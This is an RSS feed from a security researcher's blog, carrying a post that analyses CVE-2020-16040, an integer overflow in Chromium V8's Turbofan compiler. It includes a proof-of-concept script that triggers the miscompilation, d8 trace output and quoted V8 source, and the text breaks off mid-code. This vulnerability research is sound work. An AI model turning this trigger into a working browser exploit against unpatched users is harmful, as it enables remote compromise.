<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>西风微雨 - Wester's blog</title>
    <link>https://lightrains.org/</link>
    <description>A security researcher from China, focus on Product security and offensive security research.</description>
    <language>en</language>
    <copyright>All rights reserved 2026, Wester</copyright>
    <lastBuildDate>Tue, 21 Apr 2026 08:38:47 GMT</lastBuildDate>
    <generator>Hexo</generator>
    <image>
      <url>https://lightrains.org/images/static/avatar.png</url>
      <title>西风微雨 - Wester's blog</title>
      <link>https://lightrains.org/</link>
    </image>
    <atom:link href="https://lightrains.org/atom.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>CVE-2020-16040:Analysis of Chromium V8 engine integer overflow vulnerability</title>
      <link>https://lightrains.org/2024/08/08/CVE-2020-16040/</link>
      <description>
        <![CDATA[<h3 id="Vulnerability-Overview"><a href="#Vulnerability-Overview" class="headerlink" title="Vulnerability Overview"></a>Vulnerability Overview</h3><p>V8 is the JavaScript engine in the Chromium kernel, responsible for interpreting, optimizing, and executing JavaScript code. CVE-2020-16040 (crbug.com]]>
      </description>
      <author>Wester</author>
      <category domain="https://lightrains.org/tags/Chromium-V8/">Chromium V8</category>
      <pubDate>Thu, 08 Aug 2024 11:00:41 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h3 id="Vulnerability-Overview"><a href="#Vulnerability-Overview" class="headerlink" title="Vulnerability Overview"></a>Vulnerability Overview</h3><p>V8 is the JavaScript engine in the Chromium kernel, responsible for interpreting, optimizing, and executing JavaScript code. CVE-2020-16040 (crbug.com/1150649) is an integer overflow vulnerability generated by the V8 optimization compiler Turbofan in the SimplifiedLowering phase.</p><h3 id="Vulnerability-Analysis"><a href="#Vulnerability-Analysis" class="headerlink" title="Vulnerability Analysis"></a>Vulnerability Analysis</h3><h4 id="1-What-is-Turbofan"><a href="#1-What-is-Turbofan" class="headerlink" title="1) What is Turbofan?"></a>1) What is Turbofan?</h4><p>The following is the workflow of the V8 engine:</p><p><img src="/images/posts/v8-turbofan-workflow.png" alt="V8 Engine Workflow"></p><p><strong>Parser</strong>: Responsible for analyzing the syntax errors of the source code, converting it into an AST abstract syntax tree, and determining the lexical scope by using the tokens obtained through lexical analysis of the source code:</p><p><img src="/images/posts/v8-bytecode.png" alt="V8 Bytecode"></p><p><strong>Ignition (Interpreter)</strong>: Responsible for converting AST into intermediate code, namely bytecode, and interpreting and executing the bytecode line by line. At this stage, the JavaScript code has already begun to execute.</p><p>Consider the following code bytecode.js:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">let ziwu_add &#x3D; (x,y) &#x3D;&gt; &#123;</span><br><span class="line"> return x + y;</span><br><span class="line"> &#125;</span><br><span class="line"> ziwu_add(1,2)</span><br></pre></td></tr></table></figure><p>Use the command <code>./d8 bytecode.js --allow-natives-syntax --print-bytecode --print-bytecode-filter ziwu_add</code> to get its bytecode:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[generated bytecode for function: ziwu_add (0x1984082d26e1 &lt;SharedFunctionInfo ziwu_add&gt;)]</span><br><span class="line"> Parameter count 3</span><br><span class="line"> Register count 0</span><br><span class="line"> Frame size 0</span><br><span class="line"> 0x1984082d2826 @ 0 : 25 04 Ldar a1</span><br><span class="line"> 0x1984082d2828 @ 2 : 35 03 00 Add a0, [0]</span><br><span class="line"> 0x1984082d282b @ 5 : ab Return</span><br><span class="line"> Constant pool (size &#x3D; 0)</span><br><span class="line"> Handler Table (size &#x3D; 0)</span><br><span class="line"> Source Position Table (size &#x3D; 0)</span><br><span class="line"></span><br><span class="line">Add a0, [0]That is, the bytecode, which tells V8 that we want to perform an addition operation.</span><br></pre></td></tr></table></figure><p><strong>TurboFan (optimizing compiler)</strong>：Responsible for taking bytecode and some analysis data as input and generating optimized machine code. When Ignition converts JavaScript code into bytecode, the code starts to execute. V8 will keep observing the execution of JavaScript code and record execution information, such as the number of executions of each function, the type of parameters passed each time the function is called, etc. If the number of times a function is called exceeds the internal threshold, the monitor will mark the current function as a hot function and send the bytecode of the function and related information about the execution to TurboFan. TurboFan will make some assumptions to further optimize this code based on the execution information, and compile the bytecode into optimized machine code based on the assumptions. If the assumption is true, then the next time the function is called, the optimized compiled machine code will be executed to improve the execution performance of the code. When the information passed in during a call changes, it means that TurboFan’s assumption is wrong. At this time, the machine code generated by the optimized compilation can no longer be used, so the optimization is rolled back and the original complex function logic is re-run.</p><p><img src="/images/posts/v8-turbofan-optimization.png" alt="TurboFan Optimization Process"></p><p>The optimization logic process is as follows, considering the following code:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">let ziwu_add &#x3D; (x,y) &#x3D;&gt; &#123;</span><br><span class="line"> return x + y;</span><br><span class="line"> &#125;</span><br><span class="line"> ziwu_add(1,2);</span><br><span class="line"> ziwu_add(&#39;hack&#39;,&#39;you&#39;);</span><br><span class="line"> ziwu_add([],&#123;&#125;)</span><br></pre></td></tr></table></figure><p>V8 needs to determine the types of x and y before performing each calculation, and then perform the corresponding processing, but what if the function needs to be executed many times?</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">let ziwu_add &#x3D; (x,y) &#x3D;&gt; &#123;</span><br><span class="line"> return x + y;</span><br><span class="line"> &#125;</span><br><span class="line"> for (var i&#x3D;0;i&lt;0x10000;i++)&#123;</span><br><span class="line"> ziwu_add(1+i,2)</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>The x parameter keeps changing. If we have to judge the type every time, it will be too cumbersome and inefficient. Turbofan found that after so many loop calculations, the x and y parameters are both int types. We have reason to believe that it will be the same next time. So we can assume that the types of the x and y parameters are int. Based on this assumption, we can optimize the ziwu_add function to simple addition:</p><p>add eax ebx;</p><h4 id="2-Vulnerability-Recurrence"><a href="#2-Vulnerability-Recurrence" class="headerlink" title="2) Vulnerability Recurrence"></a>2) Vulnerability Recurrence</h4><p>First look at the vulnerability patch: <a href="https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92" target="_blank" rel="noopener">https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92</a>, the vulnerability file is located at<a href="https://chromium.googlesource.com/v8/v8.git/+/ba1b2cc09ab98b51ca3828d29d19ae3b0a7c3a92/src/compiler/simplified-lowering.cc" target="_blank" rel="noopener">src/compiler/simplified-lowering.cc</a>, that is, the vulnerability may occur in the SimplifiedLowering stage of the Turbofan optimization process;</p><p>We switch the V8 version to its parent commit, which is the most recent V8 code branch version where the vulnerability exists. The operation method is not described here:</p><p><img src="/images/posts/v8-patch-code.png" alt="Vulnerability Patch Code"></p><p>Execute the PoC code ./d8 –allow-natives-syntax poc.js:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">function foo(a) &#123;</span><br><span class="line"> var y &#x3D; 0x7fffffff; &#x2F;&#x2F; 2^31 - 1</span><br><span class="line"> &#x2F;&#x2F; Widen the static type of y (this condition never holds).</span><br><span class="line"> if (a &#x3D;&#x3D; NaN) y &#x3D; NaN;</span><br><span class="line"> &#x2F;&#x2F; The next condition holds only in the warmup run. It leads to Smi</span><br><span class="line"> &#x2F;&#x2F; (SignedSmall) feedback being collected for the addition below.</span><br><span class="line"> if (a) y &#x3D; -1;</span><br><span class="line"> const z &#x3D; (y + 1)|0;</span><br><span class="line"> return z&lt;0;</span><br><span class="line"> &#125;</span><br><span class="line"> console.log(foo(false));</span><br><span class="line"> for (i&#x3D;0;i&lt;0x10000;i++)&#123;</span><br><span class="line"> foo(&#39;test&#39;)</span><br><span class="line"> &#125;</span><br><span class="line"> console.log(foo(false));</span><br></pre></td></tr></table></figure><p>The result we get is:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">True</span><br><span class="line">False</span><br></pre></td></tr></table></figure><p>The two execution results of the foo(false) function are different, indicating that there is a problem in the calculation of the value of z in the Turbofan optimization process.</p><h4 id="3-Principle-analysis"><a href="#3-Principle-analysis" class="headerlink" title="3) Principle analysis"></a>3) Principle analysis</h4><p><strong>Principle brief description:</strong>This vulnerability is actually caused by the inconsistency between the maximum value range (restriction_type) calculated when optimizing the SpeculativeSafeIntegerAdd node in the VisitSpeculativeIntegerAdditiveOp function and its own Type, which results in an incorrect type transfer during the subsequent SpeculativeNumberLessThan node optimization process, causing SpeculativeNumberLessThan to be incorrectly optimized to Uint32LessThan. As a result, incorrect constant folding occurs in the EarlyOptimization phase, resulting in inconsistency with the calculation before optimization.</p><p><strong>Detailed analysis:</strong></p><h5 id="1-Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-True-before-optimization"><a href="#1-Analysis-of-the-reason-why-the-foo-false-function-is-executed-as-True-before-optimization" class="headerlink" title="1.    Analysis of the reason why the foo(false) function is executed as True before optimization:"></a>1.    Analysis of the reason why the foo(false) function is executed as True before optimization:</h5><p>​         1) y = 0x7fffffff, which is the maximum 32-bit integer, z = (0x7fffffff +1) | 0</p><p>​         2) Since the bitwise AND operation treats its operands as 32-bit sequences (consisting of 0s and 1s), (0x7fffffff + 1) = -2147483648</p><p>​         3) z = -2147483648|0, z must be less than 0, and the result of executing the foo function is true</p><h5 id="2-Calculation-error-occurred-during-Turbofan-optimization"><a href="#2-Calculation-error-occurred-during-Turbofan-optimization" class="headerlink" title="2.    Calculation error occurred during Turbofan optimization:"></a>2.    Calculation error occurred during Turbofan optimization:</h5><p>​         We first use a for loop to force trigger Turbofan’s optimization:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for (i&#x3D;0;i&lt;0x10000;i++)&#123;</span><br><span class="line"> foo(&#39;test&#39;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The Turbofan optimization process will first enter the SimplifiedLowering stage, which determines the input type, output type, maximum value range, etc. of each node in the Bytecode Graph Tree through forward and reverse traversal. It is divided into three sub-stages: Propagate, Retype, and Lower[1].</p><p>​         Let’s first look at how SimplifiedLowering optimizes our foo function in this example:</p><p>​         <strong>1)</strong>Propagate stage: We can use <code>./d8 --allow-natives-syntax poc.js --trace-representation</code> to view the Propagate process of the entire PoC script:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">--&#123;Propagate phase&#125;--</span><br><span class="line"> visit #48: End (trunc: no-value-use)</span><br><span class="line"> initial #47: no-value-use</span><br><span class="line"> visit #47: Return (trunc: no-value-use)</span><br><span class="line"> initial #44: truncate-to-word32</span><br><span class="line"> initial #55: no-truncation (but distinguish zeros)</span><br><span class="line"> initial #45: no-value-use</span><br><span class="line"> initial #36: no-value-use</span><br><span class="line"> visit #55: NumberLessThan (trunc: no-truncation (but distinguish zeros))</span><br><span class="line"> initial #45: truncate-to-word32</span><br><span class="line"> initial #44: truncate-to-word32</span><br><span class="line"> visit #45: SpeculativeNumberBitwiseOr (trunc: truncate-to-word32)</span><br><span class="line"> initial #43: truncate-to-word32</span><br><span class="line"> initial #44: truncate-to-word32</span><br><span class="line"> initial #43: truncate-to-word32</span><br><span class="line"> initial #36: no-value-use</span><br><span class="line"> visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)</span><br><span class="line"> initial #39: no-truncation (but identify zeros)</span><br><span class="line"> initial #42: no-truncation (but identify zeros)</span><br><span class="line"> initial #22: no-value-use</span><br><span class="line"> initial #36: no-value-use</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure><p>This stage is a reverse analysis, from the End node to the Start node, determining the required type based on the Type of the input node, and associating the use information (UseInfo) with the relevant node. And marking the output type of the node as the maximum range restriction_type of the output.</p><p>During the optimization of the foo function, the kSpeculativeNumberBitwiseOr#45 node is accessed first, as shown in the following figure:</p><p><img src="/images/posts/v8-propagate-phase.png" alt="Propagate Phase Analysis"></p><p>According to the code logic of <code>src/compiler/simplified-lowering.cc</code>, the <code>VisitSpeculativeInt32Binop</code> function is called. Since the two input nodes #43/#44 of node #45 are both of Number type, the <code>BothInputsAre(node, Type::NumberOrOddball())</code> condition is met, and then turbofan marks #43/#44 as <code>UseInfo::TruncatingWord32()</code>:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">case IrOpcode::kSpeculativeNumberBitwiseOr:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberBitwiseXor:</span><br><span class="line"> case IrOpcode::kSpeculativeNumberBitwiseAnd:</span><br><span class="line"> VisitSpeculativeInt32Binop&lt;T&gt;(node);</span><br><span class="line"></span><br><span class="line">void VisitSpeculativeInt32Binop(Node* node) &#123;</span><br><span class="line"> DCHECK_EQ(2, node-&gt;op()-&gt;ValueInputCount());</span><br><span class="line"> if (BothInputsAre(node, Type::NumberOrOddball())) &#123;</span><br><span class="line"> return VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(), &lt;&#x3D;&#x3D;&#x3D;here</span><br><span class="line"> MachineRepresentation::kWord32);</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>Then continue to visit the <code>SpeculativeSafeIntegerAdd#43</code> node. Since we expanded the type of the input y of this node in the PoC <code>if (a == NaN) y = NaN;</code>that is, the #39 node has the NaN type, we can observe this phenomenon through the –trace-representation option:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">\#39:Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))]</span><br><span class="line"> visit #39: Phi</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepFloat64</span><br></pre></td></tr></table></figure><p>Therefore, the if condition in the src/compiler/simplified-lowering.cc::VisitSpeculativeIntegerAdditiveOp function is not met, and the maximum value range of restrict_type is set to <code>Signed32()</code>, that is, <code>-2147483648 ~2147483647</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,</span><br><span class="line"> SimplifiedLowering* lowering) &#123;</span><br><span class="line"> ...</span><br><span class="line"> if (left_upper.Is(left_constraint_type) &amp;&amp;</span><br><span class="line"> right_upper.Is(Type::Signed32OrMinusZero()) &amp;&amp;</span><br><span class="line"> (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) &#123;</span><br><span class="line"> VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(),</span><br><span class="line"> MachineRepresentation::kWord32, Type::Signed32());</span><br><span class="line"> &#125; else &#123;</span><br><span class="line"> ...</span><br><span class="line"> VisitBinop&lt;T&gt;(node, left_use, right_use, MachineRepresentation::kWord32, &lt;&#x3D;&#x3D;&#x3D;here</span><br><span class="line"> Type::Signed32());</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>But we can observe that the Type of <code>SpeculativeSafeIntegerAdd#43</code> node is <code>0 ~ 2147483648</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">\#43:SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]</span><br><span class="line"> visit #43: SpeculativeSafeIntegerAdd</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepWord32</span><br></pre></td></tr></table></figure><p><strong>2)</strong>Retype stage: Similarly, we can continue to use –trace-representation to view the Retype process:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">--&#123;Retype phase&#125;--</span><br><span class="line"> visit #5: HeapConstant</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepTaggedPointer</span><br><span class="line"> visit #0: Start</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepTagged</span><br><span class="line"> visit #7: OsrValue</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepTagged</span><br><span class="line"> visit #20: StateValues</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepTagged</span><br><span class="line"> visit #21: StateValues</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepTagged</span><br><span class="line"> visit #22: HeapConstant</span><br><span class="line"> &#x3D;&#x3D;&gt; output kRepTaggedPointer</span><br></pre></td></tr></table></figure><p>It can be seen that this stage is a forward analysis, from the End node to the Start node, it is sequentially put into the stack, and then starting from the top of the stack, it visits and determines the output type according to the Type and restriction_type of the input node, and uses UpdateFeedbackType to update the type of each node, and calculates the output representation of each node input.</p><p>Turbofan first visits the <code>SpeculativeSafeIntegerAdd#43</code> node and enters the <code>src/compiler/simplified-lowering.cc::UpdateFeedbackType</code> function logic. The opcode of this node is <code>IrOpcode::kSpeculativeSafeIntegerAdd</code>:</p><p>According to src/compiler/opcodes.h</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">\#define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \</span><br><span class="line"> V(SpeculativeNumberAdd) \</span><br><span class="line"> V(SpeculativeNumberSubtract) \</span><br><span class="line"> V(SpeculativeNumberMultiply) \</span><br><span class="line"> V(SpeculativeNumberDivide) \</span><br><span class="line"> V(SpeculativeNumberModulus) \</span><br><span class="line"> V(SpeculativeNumberBitwiseAnd) \</span><br><span class="line"> V(SpeculativeNumberBitwiseOr) \</span><br><span class="line"> V(SpeculativeNumberBitwiseXor) \</span><br><span class="line"> V(SpeculativeNumberShiftLeft) \</span><br><span class="line"> V(SpeculativeNumberShiftRight) \</span><br><span class="line"> V(SpeculativeNumberShiftRightLogical) \</span><br><span class="line"> V(SpeculativeSafeIntegerAdd) \</span><br><span class="line"> V(SpeculativeSafeIntegerSubtract)</span><br></pre></td></tr></table></figure><p>Then, the logic at the following mark is entered, and the types of the two input nodes #39 and #42 of the #43 node are calculated by SpeculativeSafeIntegerAdd, and then the intersection operation (Intersect) is performed with the restriction_type of the node itself.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">bool UpdateFeedbackType(Node* node) &#123;</span><br><span class="line"> ...</span><br><span class="line"> switch (node-&gt;opcode()) &#123;</span><br><span class="line"> \#define DECLARE_CASE(Name) \</span><br><span class="line"> case IrOpcode::k##Name: &#123; \</span><br><span class="line"> new_type &#x3D; op_typer_.Name(input0_type, input1_type); \</span><br><span class="line"> break; \</span><br><span class="line"> &#125;</span><br><span class="line"> SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)</span><br><span class="line"> DECLARE_CASE(SameValue)</span><br><span class="line"> \#undef DECLARE_CASE</span><br><span class="line"></span><br><span class="line"> \#define DECLARE_CASE(Name) \</span><br><span class="line"> case IrOpcode::k##Name: &#123; \</span><br><span class="line"> new_type &#x3D; Type::Intersect(op_typer_.Name(input0_type, input1_type), \ &lt;&#x3D;&#x3D;&#x3D;here</span><br><span class="line"> info-&gt;restriction_type(), graph_zone()); \</span><br><span class="line"> break; \</span><br><span class="line"> &#125;</span><br><span class="line"> SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)</span><br><span class="line"> SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)</span><br><span class="line"> \#undef DECLARE_CASE</span><br></pre></td></tr></table></figure><p>Enter src/compiler/operation-typer.cc::OperationTyper::SpeculativeSafeIntegerAdd function:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) &#123;</span><br><span class="line"> Type result &#x3D; SpeculativeNumberAdd(lhs, rhs);</span><br><span class="line"> return Type::Intersect(result, cache_-&gt;kSafeIntegerOrMinusZero, zone());</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line">Enter src&#x2F;compiler&#x2F;operation-typer.cc::OperationTyper::Speculative##Name logic:</span><br><span class="line"></span><br><span class="line">\#define SPECULATIVE_NUMBER_BINOP(Name) \</span><br><span class="line"> Type OperationTyper::Speculative##Name(Type lhs, Type rhs) &#123; \</span><br><span class="line"> lhs &#x3D; SpeculativeToNumber(lhs); \</span><br><span class="line"> rhs &#x3D; SpeculativeToNumber(rhs); \</span><br><span class="line"> return Name(lhs, rhs); \</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line">lhs &#x3D; SpeculativeToNumber(lhs); &#x3D;&gt; y parameter -1 ~ 0x7fffffff</span><br><span class="line"></span><br><span class="line">rhs &#x3D; SpeculativeToNumber(rhs); &#x3D;&gt; i.e. 1</span><br><span class="line"></span><br><span class="line">NumberAdd(lhs,rhs); &#x3D;&gt; 0 ~ 0x7fffffff+1</span><br><span class="line"></span><br><span class="line">Intersection operation: Intersect(0 ~ 0x7fffffff+1,restriction_type) &#x3D;&gt;Intersect(0 ~ 0x7fffffff+1,Signed32) &#x3D;&gt; 0 ~ 0x7fffffff</span><br></pre></td></tr></table></figure><p>That is, the value range of node #43 is 0 ~ 0x7fffffff, which is Unsigned32</p><p>Then visit the SpeculativeNumberBitwiseOr#45 node. According to the type of input nodes #43/#44, the result is still 0 ~ 0x7fffffff, that is, the value range of z in PoC is considered to be 0 ~ 0x7fffffff</p><p><strong>3)</strong>Lower stage: Similarly, we can continue to use –trace-representation to view the Lower process</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">--&#123;Lower phase&#125;--</span><br><span class="line"> visit #5: HeapConstant</span><br><span class="line"> visit #0: Start</span><br><span class="line"> visit #7: OsrValue</span><br><span class="line"> visit #20: StateValues</span><br><span class="line"> visit #21: StateValues</span><br><span class="line"> visit #22: HeapConstant</span><br><span class="line"> visit #6: OsrValue</span><br><span class="line"> visit #23: Parameter</span><br><span class="line"> visit #58: FrameState</span><br><span class="line"> visit #70: HeapConstant</span><br><span class="line"> visit #24: FrameState</span><br><span class="line"> visit #146: Checkpoint</span><br><span class="line"> visit #139: LoadField</span><br><span class="line"> change: #139:LoadField(@0 #70:HeapConstant) from kRepTaggedPointer to kRepTagged:no-truncation (but distinguish zeros)</span><br></pre></td></tr></table></figure><p>We can see that this stage mainly does two things:</p><ul><li>Optimize the node itself into a more specific     node through DeferReplacement</li><li>Use the ConvertInput conversion node when the     output representation (obtained by the Retype stage) of a node input does     not match the expected use information (UseInfo) of its input.</li></ul><p>Turbofan accesses the SpeculativeNumberLessThan#46 node and enters the following logic in src/compiler/simplified-lowering.cc:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">case IrOpcode::kNumberLessThan:</span><br><span class="line"> case IrOpcode::kNumberLessThanOrEqual: &#123;</span><br><span class="line"> Type const lhs_type &#x3D; TypeOf(node-&gt;InputAt(0));</span><br><span class="line"> Type const rhs_type &#x3D; TypeOf(node-&gt;InputAt(1));</span><br><span class="line"> &#x2F;&#x2F; Regular number comparisons in JavaScript identify generally zeros,</span><br><span class="line"> &#x2F;&#x2F; so we always pass kIdentifyZeros for the inputs, and in addition</span><br><span class="line"> &#x2F;&#x2F; we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.</span><br><span class="line"> if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &amp;&amp;</span><br><span class="line"> rhs_type.Is(Type::Unsigned32OrMinusZero())) &#123;</span><br><span class="line"> &#x2F;&#x2F; &#x3D;&gt; unsigned Int32Cmp</span><br><span class="line"> VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(),</span><br><span class="line"> MachineRepresentation::kBit);</span><br><span class="line"> if (lower&lt;T&gt;()) NodeProperties::ChangeOp(node, Uint32Op(node));</span><br><span class="line"> &#125; else if (lhs_type.Is(Type::Signed32OrMinusZero()) &amp;&amp;</span><br><span class="line"> rhs_type.Is(Type::Signed32OrMinusZero())) &#123;</span><br><span class="line"> &#x2F;&#x2F; &#x3D;&gt; signed Int32Cmp</span><br><span class="line"> VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(),</span><br><span class="line"> MachineRepresentation::kBit);</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure><p>Since the left input node #45 (z in the PoC code) and the right input node number 0 are both Unsigned32OrMinusZero, if the condition is met, Uint32Op(node) is called</p><p>Refer to src/compiler/simplified-lowering.cc::Uint32Op</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">const Operator* Uint32Op(Node* node) &#123;</span><br><span class="line"> return changer_-&gt;Uint32OperatorFor(node-&gt;opcode());</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>Enter the Uint32OperatorFor logic, the source code is located in src/compiler/representation-change.cc</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 